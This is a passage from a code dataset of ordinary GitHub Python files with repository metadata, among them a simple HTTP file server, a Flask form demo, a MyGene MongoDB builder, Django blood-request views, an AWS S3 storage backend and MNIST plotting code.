well.\n\n \"\"\"\n shutil.copyfileobj(source, outputfile)\n\n def guess_type(self, path):\n \"\"\"Guess the type of a file.\n\n Argument is a PATH (a filename).\n\n Return value is a string of the form type/subtype,\n usable for a MIME Content-type header.\n\n The default implementation looks the file's extension\n up in the table self.extensions_map, using application/octet-stream\n as a default; however it would be permissible (if\n slow) to look inside the data to make a better guess.\n\n \"\"\"\n\n base, ext = posixpath.splitext(path)\n if ext in self.extensions_map:\n return self.extensions_map[ext]\n ext = ext.lower()\n if ext in self.extensions_map:\n return self.extensions_map[ext]\n else:\n return self.extensions_map['']\n\n if not mimetypes.inited:\n mimetypes.init() # try to read system mime.types\n extensions_map = mimetypes.types_map.copy()\n extensions_map.update({\n '': 'application/octet-stream', # Default\n '.py': 'text/plain',\n '.c': 'text/plain',\n '.h': 'text/plain',\n })\n\n\nclass ThreadingSimpleServer(socketserver.ThreadingMixIn,\n http.server.HTTPServer):\n pass\n\n\ndef test(HandlerClass=SimpleHTTPRequestHandler,\n ServerClass=ThreadingSimpleServer, port=8000):\n http.server.test(HandlerClass, ServerClass, port=port)\n\n\nPATH = os.getcwd()\nclass HTTPServer(socketserver.TCPServer):\n\n allow_reuse_address = 1 # Seems to make sense in testing environment\n\n def server_bind(self):\n \"\"\"Override server_bind to store the server name.\"\"\"\n socketserver.TCPServer.server_bind(self)\n host, port = self.server_address[:2]\n self.server_name = socket.getfqdn(host)\n self.server_port = port\nclass ThreadingHTTPServer(socketserver.ThreadingMixIn, HTTPServer):\n daemon_threads = True\n\nif __name__ == '__main__':\n import contextlib\n\n parser = argparse.ArgumentParser(description='''Run a simple http server\n to share files and folders''')\n parser.add_argument(\"path\", help='''path to be shared''',\n nargs='?', default=os.getcwd())\n parser.add_argument(\"-p\", \"--port\", type=int, default=8000,\n help=\"port number for listening to http requests\")\n args = parser.parse_args()\n PATH = args.path\n \n # ensure dual-stack is not disabled; ref #38907\n class DualStackServer(ThreadingHTTPServer):\n\n def server_bind(self):\n # suppress exception when protocol is IPv4\n with contextlib.suppress(Exception):\n self.socket.setsockopt(\n socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, 0)\n return super().server_bind()\n\n def finish_request(self, request, client_address):\n self.RequestHandlerClass(request, client_address, self)\n test(ServerClass=DualStackServer,port=args.port)","repo_name":"zakigo/zakihttpserver","sub_path":"zakihttpserver.py","file_name":"zakihttpserver.py","file_ext":"py","file_size_in_byte":13964,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"23082133234","text":"from sys import setrecursionlimit\nsetrecursionlimit(10**9)\nINF = float('inf')\nN, K = map(int, input().split())\nD = set(list(map(int, input().split())))\n\n\ndef dfs(n):\n if n >= N:\n return n\n res = INF\n if n == 0:\n for i in range(1, 10):\n if i not in D:\n res = min(res, dfs(i))\n else:\n for i in range(10):\n if i not in D:\n res = min(res, dfs(n * 10 + i))\n return res\n\n\nprint(dfs(0))\n","repo_name":"e5pe0n/algorithm-training","sub_path":"AtCoder/ACP/BootCamp4b/Hard100_2/python/C_Irohas_Obsession.py","file_name":"C_Irohas_Obsession.py","file_ext":"py","file_size_in_byte":468,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"1131109159","text":"# import necessary libraries\nimport pandas as pd\n\nfrom flask import (\n Flask,\n render_template,\n jsonify,\n request,\n redirect)\n\nfrom sqlalchemy import func, create_engine\n\napp = Flask(__name__)\n\nengine = create_engine('sqlite:///db/db.sqlite')\n\n@app.route(\"/send\", methods=[\"GET\", \"POST\"])\ndef send():\n conn = engine.connect()\n\n if request.method == \"POST\":\n nickname = request.form[\"nickname\"]\n age = request.form[\"age\"]\n\n nickname_df = pd.DataFrame({\n 'nickname': [nickname],\n 'age': [age],\n })\n\n nickname_df.to_sql('pets', con=conn, if_exists='append', index=False)\n\n return \"Thanks for the form data!\"\n\n return render_template(\"form.html\")\n\n\n@app.route(\"/api/data\")\ndef list_pets():\n conn = engine.connect()\n \n pets_df = pd.read_sql('SELECT * FROM pets', con=conn)\n\n pets_json = pets_df.to_json(orient='records')\n\n conn.close()\n\n return pets_json\n\n\n@app.route(\"/\")\ndef home():\n return \"Welcome!\"\n\n\nif __name__ == \"__main__\":\n app.run(debug=True)","repo_name":"daluongo/Bootcamp_MW_0320","sub_path":"Activities/16.3/3/Activities/04_Ins_Flask_SQLAlchemy/Solved/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1059,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"15095448012","text":"import biothings.utils.mongo as mongo\nimport biothings.hub.databuild.builder as builder\nfrom biothings.utils.common import loadobj\n\nfrom hub.dataload.sources.entrez.gene_upload import EntrezGeneUploader\nfrom hub.dataload.sources.ensembl.gene_upload import EnsemblGeneUploader\n\nclass MyGeneDataBuilder(builder.DataBuilder):\n\n def generate_document_query(self, src_name):\n \"\"\"Root documents are created according to species list\"\"\"\n _query = None\n if src_name in self.get_root_document_sources():\n if \"species\" in self.build_config:\n _query = {'taxid': {'$in': list(map(int,self.build_config['species']))}}\n elif \"species_to_exclude\" in self.build_config:\n _query = {'taxid': {'$nin': list(map(int,self.build_config['species_to_exclude']))}}\n else:\n _query = None\n if _query:\n self.logger.debug(\"Source '%s' requires custom query: '%s'\" % (src_name,_query))\n return _query\n\n def document_cleaner(self,src_name,*args,**kwargs):\n # only root sources document can keep their taxid\n if src_name in self.get_root_document_sources():\n return None\n else:\n return cleaner\n\n def post_merge(self, source_names, batch_size, job_manager):\n tgt = mongo.get_target_db()[self.target_name]\n # background=true or it'll lock the whole database...\n self.logger.info(\"Indexing 'taxid'\")\n tgt.create_index(\"taxid\",background=True)\n self.logger.info(\"Indexing 'entrezgene'\")\n tgt.create_index(\"entrezgene\",background=True)\n\n def get_stats(self,sources,job_manager):\n self.stats = super(MyGeneDataBuilder,self).get_stats(sources,job_manager)\n # enrich with some specific mygene counts, specially regarding ensembl vs. entrez\n tgt = mongo.get_target_db()[self.target_name]\n self.stats[\"total_genes\"] = tgt.count()\n # entrez genes are digits only (also, don't count entrez_gene collection,\n # because tgt can be a subset, we have to work with the merged collection)\n self.logger.debug(\"Counting 'total_entrez_genes'\")\n entrez_cnt = tgt.find({\"entrezgene\":{\"$exists\":1}},{\"_id\":1}).count()\n self.stats[\"total_entrez_genes\"] = entrez_cnt\n # ensembl genes aount are taken from :\n # 1. \"ensembl\" field, but it can a list => use aggregation. \n # Note: \"ensembl.0\" means first element of the list, so it implicitely\n # select doc with a list. Finally, filtering with {$type:\"array\"} doesn't work because\n # mongo filters this on the most inner field (that's weird, but it is what is it...)\n # 2. when document is root doc coming from ensembl_gene collection without a \"ensembl\" key (\"orphan\")\n # Note: we can't create a sparce or conditional index to help querying \"ensembl\"\n # because data is too long for an index key, and \"hashed\" mode doesn't work because list aren't supported\n # Queries are gonna use colscan strategy...\n self.logger.debug(\"Counting 'total_ensembl_genes'\")\n res = tgt.aggregate([\n {\"$match\" : {\"ensembl.0\" : {\"$exists\" : True}}},\n {\"$project\" : {\"num_gene\" : {\"$size\" : \"$ensembl\"}}},\n {\"$group\" : {\"_id\" : None, \"sum\" : {\"$sum\": \"$num_gene\"}}}\n ])\n try:\n list_count = next(res)[\"sum\"]\n except StopIteration:\n list_count = 0\n object_count = tgt.find({\"ensembl\" : {\"$type\" : \"object\"}},{\"_id\":1}).count()\n orphan_count = tgt.find({\"_id\":{\"$regex\":'''\\\\w'''},\"ensembl\":{\"$exists\":0}},{\"_id\":1}).count()\n total_ensembl_genes = list_count + object_count + orphan_count\n self.stats[\"total_ensembl_genes\"] = total_ensembl_genes\n # this one can't be computed from merged collection, and is only valid when build\n # involves all data (no filter, no subset)\n self.logger.debug(\"Counting 'total_ensembl_genes_mapped_to_entrez'\")\n # this one is similar to total_ensembl_genes except we cross with entrezgene (ie. so they're mapped)\n try:\n list_count = next(tgt.aggregate([\n {\"$match\" : {\"$and\" : [{\"ensembl.0\" : {\"$exists\" : True}},{\"entrezgene\":{\"$exists\":1}}]}},\n {\"$project\" : {\"num_gene\" : {\"$size\" : \"$ensembl\"}}},\n {\"$group\" : {\"_id\" : None, \"sum\" : {\"$sum\": \"$num_gene\"}}}\n ]))[\"sum\"]\n except StopIteration:\n list_count = 0\n object_count = tgt.find({\"$and\": [{\"ensembl\" : {\"$type\" : \"object\"}},{\"entrezgene\":{\"$exists\":1}}]},{\"_id\":1}).count()\n mapped = list_count + object_count\n self.stats[\"total_ensembl_genes_mapped_to_entrez\"] = mapped\n # ensembl gene contains letters (if it wasn't, it means it would only contain digits\n # so it would be an entrez gene (\\\\D = non-digits, can't use \\\\w as a digit *is* a letter)\n self.logger.debug(\"Counting 'total_ensembl_only_genes'\")\n ensembl_unmapped = tgt.find({\"_id\":{\"$regex\":'''\\\\D'''}},{\"_id\":1}).count()\n self.stats[\"total_ensembl_only_genes\"] = ensembl_unmapped\n self.logger.debug(\"Counting 'total_species'\")\n self.stats[\"total_species\"] = len(tgt.distinct(\"taxid\"))\n\n return self.stats\n\n\ndef cleaner(doc):\n doc.pop('taxid', None)\n return doc\n","repo_name":"sirloon/mygene.info","sub_path":"src/hub/databuild/builder.py","file_name":"builder.py","file_ext":"py","file_size_in_byte":5365,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"72"} +{"seq_id":"34938052782","text":"import os\n\ndef find(directory, indent=\"\"):\n\n for entry in os.scandir(directory):\n if entry.is_dir() and not entry.name.startswith((\".\", \"..\")):\n print(indent + \"Directory:\", entry.path)\n find(entry.path, indent + \" \") \n\n elif entry.is_file():\n print(indent + \"File:\", entry.path)\n\n\nfind(\".\")\n","repo_name":"lala-david/DataStrcture","sub_path":"ch09/code/findFileUp.py","file_name":"findFileUp.py","file_ext":"py","file_size_in_byte":343,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"43486886136","text":"from bs4 import BeautifulSoup\nimport requests\nimport csv\n\n\ndef get_html(url):\n r = requests.get(url)\n return r.text\n\n\ndef write_csv(data):\n with open('plugins2.csv', 'a') as f:\n writer = csv.writer(f, lineterminator='\\r', delimiter=';')\n writer.writerow((data['name'],\n data['urs'],\n data['snippet'],\n data['active']))\n\n\ndef get_data(html):\n soup = BeautifulSoup(html, 'lxml')\n elements = soup.find_all('main', class_='site-main col-9')\n # print(elements)\n for i in elements:\n try:\n name = i.find('h2').text\n except ValueError:\n name = ''\n try:\n urs = i.find('h2').find('a').get('href')\n except ValueError:\n urs = ''\n\n try:\n snippet = i.find('div', class_='entry-meta').text.split()\n except ValueError:\n snippet = ''\n\n try:\n active = i.find('span', class_='posted-on')\n except ValueError:\n active = ''\n\n data = {\n 'name': name,\n 'urs': urs,\n 'snippet': snippet,\n 'active': active\n }\n write_csv(data)\n\n\ndef main():\n for i in range(1, 4):\n url = f\"https://ru.wordpress.org/news/page/{i}/\"\n get_data(get_html(url))\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"Andrey-Vl-Koshelev/Python225","sub_path":"DZ/6.py","file_name":"6.py","file_ext":"py","file_size_in_byte":1385,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"39039358500","text":"from django.contrib import messages\nfrom django.db.models import Q\nfrom django.http import HttpResponseRedirect\nfrom django.shortcuts import redirect, render\nfrom django.utils.decorators import method_decorator\nfrom core.utils.decorators import MustLogin\nfrom django.contrib.auth.mixins import PermissionRequiredMixin\nfrom django.views import View\nfrom dashboard.models import BloodRequest, PatientProfile\n# from datetime import timezone\nimport datetime\n\n\nclass BloodRequestsListView(PermissionRequiredMixin, View):\n '''Class for showing the list of BloodRequests'''\n permission_required = ['dashboard.view_bloodrequest']\n\n template = 'dashboard/blood_requests.html'\n\n @method_decorator(MustLogin)\n def get(self, request, *args, **kwargs):\n user = request.user\n patient_profile = PatientProfile.objects.filter(user=user).first()\n if user.is_staff or user.is_superuser:\n blood_requests = BloodRequest.objects.all().order_by('-created_at')\n else:\n blood_requests = BloodRequest.objects.filter(patient_profile=patient_profile).order_by('-created_at') # noqa\n context = {\n 'blood_requests': blood_requests,\n }\n return render(request, self.template, context)\n\n\nclass CreateUpdateBloodRequestView(PermissionRequiredMixin, View):\n '''Class for creating and updating blood requests'''\n permission_required = ['dashboard.add_bloodrequest']\n\n template = 'dashboard/form-renderers/create_update_request.html'\n\n @method_decorator(MustLogin)\n def get(self, request, *args, **kwargs):\n request_id = request.GET.get('request_id')\n blood_request = BloodRequest.objects.filter(blood_request_id=request_id).first() # noqa\n print(blood_request)\n context = {\n 'blood_request': blood_request,\n }\n return render(request, self.template, context)\n\n @method_decorator(MustLogin)\n def post(self, request, *args, **kwargs):\n blood_request_id = request.POST.get('request_id')\n quantity = request.POST.get('quantity')\n file = request.FILES.get('request_form') or None\n if blood_request_id:\n blood_request = BloodRequest.objects.filter(\n blood_request_id=blood_request_id).first()\n if blood_request:\n blood_request.quantity = quantity\n blood_request.request_form = file\n blood_request.save()\n messages.success(request, 'Blood Request Updated Successfully')\n else:\n messages.info(request, 'Blood Request Does Not Exist')\n else:\n # patient_profile = request.user.patient_profile\n patient_profile = PatientProfile.objects.filter(user=request.user).first() # noqa\n blood_request = BloodRequest.objects.create(\n patient_profile=patient_profile,\n quantity=quantity,\n request_form=file,\n )\n messages.success(request, 'Blood Request Created Successfully')\n return redirect('dashboard:blood_requests')\n\n\nclass BloodRequestDetailsView(PermissionRequiredMixin, View):\n '''Class for viewing the details of blood requests'''\n permission_required = ['dashboard.view_bloodrequest']\n template = 'dashboard/details/details_blood_request.html'\n\n @method_decorator(MustLogin)\n def get(self, request, *args, **kwargs):\n request_id = request.GET.get('request_id')\n blood_request = BloodRequest.objects.filter(id=request_id).first() # noqa\n context = {\n 'blood_request': blood_request,\n }\n return render(request, self.template, context)\n\n\nclass ChangeRequestStatusView(PermissionRequiredMixin, View):\n '''Class for changing the status of a blood request'''\n permission_required = [\n 'dashboard.change_bloodrequest', 'change_request_status']\n\n @method_decorator(MustLogin)\n def get(self, request, *args, **kwargs):\n return redirect('dashboard:blood_requests')\n\n @method_decorator(MustLogin)\n def post(self, request, *args, **kwargs):\n request_id = request.POST.get('request_id')\n status = request.POST.get('request_status')\n request_form = request.POST.get('request_form')\n blood_request = BloodRequest.objects.filter(id=request_id).first()\n if blood_request:\n blood_request.status = status\n # add request form if\n if request_form:\n blood_request.request_form = request_form\n blood_request.date_approve_rejected = datetime.datetime.now()\n blood_request.save()\n messages.success(request, 'Blood Request Status Changed Successfully') # noqa\n return HttpResponseRedirect(request.META.get('HTTP_REFERER'))\n else:\n messages.info(request, 'Blood Request Does Not Exist')\n return redirect('dashboard:blood_requests')\n\n\nclass SearchBloodRequestView(PermissionRequiredMixin, View):\n '''Class for searching Blood Request'''\n permission_required = ['dashboard.view_bloodrequest']\n\n template = 'dashboard/blood_requests.html'\n\n @method_decorator(MustLogin)\n def get(self, request, *args, **kwargs):\n query = request.GET.get('q')\n blood_requests = BloodRequest.objects.filter(\n Q(blood_request_id__icontains=query) |\n Q(status__icontains=query) |\n Q(patient_profile__user__fullname__icontains=query)\n ).order_by('-created_at')\n context = {\n 'blood_requests': blood_requests,\n }\n return render(request, self.template, context)\n\n\nclass DeleteBloodRequestView(PermissionRequiredMixin, View):\n '''Class for deleting blood requests'''\n permission_required = ['dashboard.delete_bloodrequest']\n\n @method_decorator(MustLogin)\n def get(self, request, *args, **kwargs):\n return redirect('dashboard:blood_requests')\n\n @method_decorator(MustLogin)\n def post(self, request, *args, **kwargs):\n blood_request_id = request.POST.get('blood_request_id')\n blood_request = BloodRequest.objects.filter(\n id=blood_request_id).first()\n if blood_request:\n blood_request.delete()\n messages.success(request, 'Blood Request Deleted Successfully')\n else:\n messages.info(request, 'Blood Request Does Not Exist')\n return HttpResponseRedirect(request.META.get('HTTP_REFERER'))\n","repo_name":"DevPrinceK/bloodbank","sub_path":"core/dashboard/views/requests.py","file_name":"requests.py","file_ext":"py","file_size_in_byte":6475,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"30175133400","text":"import io\nimport os\nimport re\nimport sys\nimport tempfile\nimport threading\nfrom contextlib import contextmanager\nfrom pathlib import Path\nfrom typing import Iterable, Iterator, Optional, Tuple, Union\n\nfrom mmcv import BaseStorageBackend, FileClient\n\n\n@FileClient.register_backend(name='aws')\nclass AWSBackend(BaseStorageBackend):\n \"\"\"AWSBackend is Amazon Simple Storage Service(s3).\n\n AWSBackend supports reading and writing data to aws s3.\n It relies on awscli and boto3, you must install and run ``aws configure``\n in advance to use it.\n\n Args:\n path_mapping (dict, optional): Path mapping dict from local path to\n Petrel path. When ``path_mapping={'src': 'dst'}``, ``src`` in\n ``filepath`` will be replaced by ``dst``. Default: None.\n\n Examples:\n >>> filepath = 's3://bucket/obj'\n >>> client = AWSBackend()\n >>> client.get(filepath1) # get data from aws s3\n >>> client.put(obj, filepath)\n \"\"\"\n\n def __init__(self, path_mapping: Optional[dict] = None):\n try:\n import boto3\n from boto3.s3.transfer import TransferConfig\n from botocore.exceptions import ClientError\n except ImportError:\n raise ImportError('Please install boto3 to enable AWSBackend '\n 'by \"pip install boto3\".')\n\n self._client = boto3.client('s3')\n self.transfer_config = TransferConfig(use_threads=True)\n assert isinstance(path_mapping, dict) or path_mapping is None\n self.path_mapping = path_mapping\n # Use to parse bucket and obj_name\n self.parse_bucket = re.compile('s3://(.+?)/(.+)')\n self.check_exception = ClientError\n\n def _map_path(self, filepath: Union[str, Path]) -> str:\n \"\"\"Map ``filepath`` to a string path whose prefix will be replaced by\n :attr:`self.path_mapping`.\n\n Args:\n filepath (str): Path to be mapped.\n \"\"\"\n filepath = str(filepath)\n if self.path_mapping is not None:\n for k, v in self.path_mapping.items():\n filepath = filepath.replace(k, v)\n return filepath\n\n def _format_path(self, filepath: str) -> str:\n \"\"\"Convert a ``filepath`` to standard format of aws s3.\n\n If the ``filepath`` is concatenated by ``os.path.join``, in a Windows\n environment, the ``filepath`` will be the format of\n 's3://bucket_name\\\\image.jpg'. By invoking :meth:`_format_path`, the\n above ``filepath`` will be converted to 's3://bucket_name/image.jpg'.\n\n Args:\n filepath (str): Path to be formatted.\n \"\"\"\n return re.sub(r'\\\\+', '/', filepath)\n\n def _parse_path(self, filepath: str) -> Tuple[str, str]:\n \"\"\"Parse bucket and object name from a given ``filepath``.\n\n Args:\n filepath (str or Path): Path to read data.\n\n Returns:\n bucket (str): Bucket name of aws s3.\n obj_name (str): Object relative path to bucket.\n \"\"\"\n filepath = self._map_path(filepath)\n filepath = self._format_path(filepath)\n parse_res = self.parse_bucket.match(filepath)\n if not parse_res:\n raise ValueError(\n f\"The input path '{filepath}' format is incorrect.\")\n bucket, obj_name = parse_res.groups()\n return bucket, obj_name\n\n def _check_bucket(self, bucket: str) -> bool:\n \"\"\"Check if bucket exists.\n\n Args:\n bucket (str): Bucket name\n\n Returns:\n bool: True if bucket is existing.\n \"\"\"\n try:\n self._client.head_bucket(Bucket=bucket)\n return True\n except self.check_exception:\n return False\n\n def _check_object(self, bucket: str, obj_name: str) -> bool:\n \"\"\"Check if object exists.\n\n Args:\n bucket (str): Bucket name\n obj_name (str): Object name\n\n Returns:\n bool: True if object is existing.\n \"\"\"\n try:\n self._client.head_object(Bucket=bucket, Key=obj_name)\n return True\n except self.check_exception:\n return False\n\n class ProgressPercentage(object):\n\n def __init__(self, filename, count_size):\n self._filename = filename\n self._size = count_size\n self._seen_so_far = 0\n self._lock = threading.Lock()\n\n def __call__(self, bytes_amount):\n # To simplify we'll assume this is hooked up\n # to a single filename.\n with self._lock:\n self._seen_so_far += bytes_amount\n percentage = (self._seen_so_far / self._size) * 100\n sys.stdout.write(\"\\r%s %s / %s (%.2f%%)\" %\n (self._filename, self._seen_so_far,\n self._size, percentage))\n sys.stdout.flush()\n\n def get(self, filepath: Union[str, Path]) -> memoryview:\n \"\"\"Read data from a given ``filepath`` with 'rb' mode.\n\n Args:\n filepath (str or Path): Path to read data.\n\n Returns:\n memoryview: A memory view of expected bytes object to avoid\n copying. The memoryview object can be converted to bytes by\n ``value_buf.tobytes()``.\n \"\"\"\n bucket, obj_name = self._parse_path(filepath)\n size = self._client.head_object(\n Bucket=bucket, Key=obj_name).get('ContentLength', 0)\n value = io.BytesIO()\n self._client.download_fileobj(\n bucket,\n obj_name,\n value,\n Callback=self.ProgressPercentage(obj_name, size),\n Config=self.transfer_config)\n value_buf = memoryview(value.getvalue())\n return value_buf\n\n def get_text(self,\n filepath: Union[str, Path],\n encoding: str = 'utf-8') -> str:\n \"\"\"Read data from a given ``filepath`` with 'r' mode.\n\n Args:\n filepath (str or Path): Path to read data.\n encoding (str): The encoding format used to open the ``filepath``.\n Default: 'utf-8'.\n\n Returns:\n str: Expected text reading from ``filepath``.\n \"\"\"\n return str(self.get(filepath), encoding=encoding)\n\n def put(self, obj: bytes, filepath: Union[str, Path]) -> None:\n \"\"\"Save data to a given ``filepath``.\n\n Args:\n obj (bytes): Data to be saved.\n filepath (str or Path): Path to write data.\n \"\"\"\n bucket, obj_name = self._parse_path(filepath)\n if not self._check_bucket(bucket):\n raise ValueError(f\"This bucket '{bucket}' is not found.\")\n with io.BytesIO(obj) as buff:\n size = len(obj)\n self._client.upload_fileobj(\n buff,\n bucket,\n obj_name,\n Callback=self.ProgressPercentage(obj_name, size),\n Config=self.transfer_config)\n\n def put_text(self,\n obj: str,\n filepath: Union[str, Path],\n encoding: str = 'utf-8') -> None:\n \"\"\"Save data to a given ``filepath``.\n\n Args:\n obj (str): Data to be written.\n filepath (str or Path): Path to write data.\n encoding (str): The encoding format used to encode the ``obj``.\n Default: 'utf-8'.\n \"\"\"\n self.put(bytes(obj, encoding=encoding), filepath)\n\n def remove(self, filepath: Union[str, Path]) -> None:\n \"\"\"Remove a file from aws s3.\n\n Args:\n filepath (str or Path): Path to be removed.\n \"\"\"\n bucket, obj_name = self._parse_path(filepath)\n self._client.delete_object(Bucket=bucket, Key=obj_name)\n\n def exists(self, filepath: Union[str, Path]) -> bool:\n \"\"\"Check whether a file path exists.\n\n Args:\n filepath (str or Path): Path to be checked whether exists.\n\n Returns:\n bool: Return ``True`` if ``filepath`` exists, ``False`` otherwise.\n \"\"\"\n bucket, obj_name = self._parse_path(filepath)\n return self._check_object(bucket, obj_name)\n\n def isdir(self, filepath: Union[str, Path]) -> bool:\n \"\"\"Check whether a file path is a directory.\n\n Args:\n filepath (str or Path): Path to be checked whether it is a\n directory.\n\n Returns:\n bool: Return ``True`` if ``filepath`` points to a directory,\n ``False`` otherwise.\n \"\"\"\n bucket, obj_name = self._parse_path(filepath)\n if obj_name.endswith('/') and self._check_object(bucket, obj_name):\n return True\n return False\n\n def isfile(self, filepath: Union[str, Path]) -> bool:\n \"\"\"Check whether a file path is a file.\n\n Args:\n filepath (str or Path): Path to be checked whether it is a file.\n\n Returns:\n bool: Return ``True`` if ``filepath`` points to a file, ``False``\n otherwise.\n \"\"\"\n bucket, obj_name = self._parse_path(filepath)\n if not obj_name.endswith('/') and self._check_object(bucket, obj_name):\n return True\n return False\n\n def join_path(self, filepath: Union[str, Path],\n *filepaths: Union[str, Path]) -> str:\n \"\"\"Concatenate all file paths.\n\n Args:\n filepath (str or Path): Path to be concatenated.\n\n Returns:\n str: The result after concatenation.\n \"\"\"\n filepath = self._format_path(self._map_path(filepath))\n if filepath.endswith('/'):\n filepath = filepath[:-1]\n formatted_paths = [filepath]\n for path in filepaths:\n formatted_paths.append(self._format_path(self._map_path(path)))\n return '/'.join(formatted_paths)\n\n @contextmanager\n def get_local_path(self, filepath: Union[str, Path]) -> Iterable[str]:\n \"\"\"Download a file from ``filepath`` and return a temporary path.\n\n ``get_local_path`` is decorated by :meth:`contxtlib.contextmanager`. It\n can be called with ``with`` statement, and when exists from the\n ``with`` statement, the temporary path will be released.\n\n Args:\n filepath (str | Path): Download a file from ``filepath``.\n\n Examples:\n >>> client = AWSBackend()\n >>> # After existing from the ``with`` clause,\n >>> # the path will be removed\n >>> with client.get_local_path('s3://path/of/your/file') as path:\n ... # do something here\n\n Yields:\n Iterable[str]: Only yield one temporary path.\n \"\"\"\n assert self.isfile(filepath)\n try:\n f = tempfile.NamedTemporaryFile(delete=False)\n f.write(self.get(filepath))\n f.close()\n yield f.name\n finally:\n os.remove(f.name)\n\n def list_dir_or_file(self,\n dir_path: Union[str, Path],\n list_dir: bool = True,\n list_file: bool = True,\n suffix: Optional[Union[str, Tuple[str]]] = None,\n recursive: bool = False,\n maxnum: int = 1000) -> Iterator[str]:\n \"\"\"Scan a directory to find the interested directories or files in\n arbitrary order.\n\n Note:\n AWS s3 has no concept of directories but it simulates the directory\n hierarchy in the filesystem through public prefixes. In addition,\n if the returned path ends with '/', it means the path is a public\n prefix which is a logical directory.\n\n Note:\n :meth:`list_dir_or_file` returns the path relative to ``dir_path``.\n In addition, the returned path of directory will not contains the\n suffix '/' which is consistent with other backends.\n\n Args:\n dir_path (str | Path): Path of the directory.\n list_dir (bool): List the directories. Default: True.\n list_file (bool): List the path of files. Default: True.\n suffix (str or tuple[str], optional): File suffix\n that we are interested in. Default: None.\n recursive (bool): If set to True, recursively scan the\n directory. Default: False.\n maxnum (int): The maximum number of list. Default: 1000.\n\n Yields:\n Iterable[str]: A relative path to ``dir_path``.\n \"\"\"\n if list_dir and suffix is not None:\n raise TypeError(\n '`list_dir` should be False when `suffix` is not None')\n\n if (suffix is not None) and not isinstance(suffix, (str, tuple)):\n raise TypeError('`suffix` must be a string or tuple of strings')\n\n dir_path = self._map_path(dir_path)\n dir_path = self._format_path(dir_path)\n # If dir_path not contain object name, use the ``_parse_path`` method\n # will cause an error. eg. dir_path = 's3://bucket'\n res = re.match('s3://(.+)', dir_path)\n if not res:\n raise ValueError(\n f\"The input dir_path '{dir_path}' format is error\")\n dir_path = res.groups()[0]\n split_dir_path = dir_path.split('/')\n bucket = split_dir_path[0]\n dir_path = '/'.join(\n split_dir_path[1:]) if len(split_dir_path) > 1 else ''\n # AWS s3's simulated directory hierarchy assumes that directory paths\n # should end with `/` if it not equal to ''.\n if dir_path and not dir_path.endswith('/'):\n dir_path += '/'\n\n root = dir_path\n\n def _list_dir_or_file(dir_path, list_dir, list_file, suffix,\n recursive):\n # boto3 list method, it return json data as follows:\n # {\n # 'ResponseMetadata': {..., 'HTTPStatusCode': 200, ...},\n # ...,\n # 'Contents': [{'Key': 'path/object', ...}, ...],\n # ...\n # }\n response = self._client.list_objects_v2(\n Bucket=bucket, MaxKeys=maxnum, Prefix=dir_path)\n if (response['ResponseMetadata']['HTTPStatusCode'] == 200\n and 'Contents' in response):\n for content in response['Contents']:\n path = content['Key']\n # AWS s3 has no concept of directories, it will list all\n # path of object from bucket. Compute folder level to\n # distinguish different folder.\n level = len([\n item for item in path.replace(root, '').split('/')\n if item\n ])\n if level == 0 or (level > 1 and not recursive):\n continue\n if path.endswith('/'): # a directory path\n if list_dir:\n # get the relative path and exclude the last\n # character '/'\n rel_dir = path[len(root):-1]\n yield rel_dir\n else: # a file path\n rel_path = path[len(root):]\n if (suffix is None\n or rel_path.endswith(suffix)) and list_file:\n yield rel_path\n\n return _list_dir_or_file(dir_path, list_dir, list_file, suffix,\n recursive)\n","repo_name":"274869388/debug_dataloader","sub_path":"custom/aws_client.py","file_name":"aws_client.py","file_ext":"py","file_size_in_byte":15575,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"71642305193","text":"import numpy as np\nimport pandas as pd\n\nimport matplotlib.pyplot as plt\nimport seaborn as sns\n \n\"\"\"\n Function to load dataset.\n\"\"\"\n\ndef load_data(file_path):\n try:\n df = pd.read_csv(file_path)\n return df\n\n except FileNotFoundError as error:\n print(\"File Not Found Error during loading data\")\n raise error\n\n except Exception as error:\n print(\"Exception Error: load_data\")\n print(error)\n return \"\"\n\ndef plot_digit(data, label):\n try:\n\n fig, axis = plt.subplots(5, 5, figsize = (16, 16)) \n k = 0 \n\n for i in range(5):\n for j in range(5): \n\n # To plot image \n axis[i, j].imshow(data[k].reshape(28, 28), interpolation = \"none\", cmap = \"gray\")\n\n # To print label \n axis[i, j].set_ylabel(\"label:\" + str(label[k].item())) \n\n k +=1\n plt.savefig(\"mnist_digits.png\")\n\n except Exception as error:\n print(\"Error while plotting digit\")\n print(error)\n\ndef pie_plot(df_train):\n try:\n counts = df_train.groupby('label')[\"label\"].count()\n label = counts\n count = counts.index\n plt.figure(figsize=(10, 10))\n plt.pie(counts, labels=label)\n plt.legend(count, loc='lower right')\n plt.title('Pie Chart')\n plt.savefig(\"mnist_pie_chart.png\")\n\n except AttributeError as error:\n print(\"Attribute Error Occured.\")\n print(\"The error is \", error)\n\n except ValueError as error:\n print(\"Value Error Occured.\")\n print(\"The error is \", error)\n\ntrain_file = \"/home/khushi/Documents/simple-neural-network/datasets/data/mnist_train.csv\"\ntest_file = \"/home/khushi/Documents/simple-neural-network/datasets/data/mnist_test.csv\"\n\ndf_train = load_data(train_file)\ndf_test = load_data(test_file)\ntrain_all = df_train.iloc[:,1:]\ntrain_all_numpy = train_all.to_numpy()\ntrain_label = df_train[\"label\"]\ntrain_label_numpy = train_label.to_numpy()\n\nplot_digit(train_all_numpy, train_label_numpy)\npie_plot(df_train)\n","repo_name":"khushi-411/neural-lib","sub_path":"visualizations/mnist_digits.py","file_name":"mnist_digits.py","file_ext":"py","file_size_in_byte":1973,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"72"} +{"seq_id":"4929254840","text":"import sys\nimport subprocess\nimport 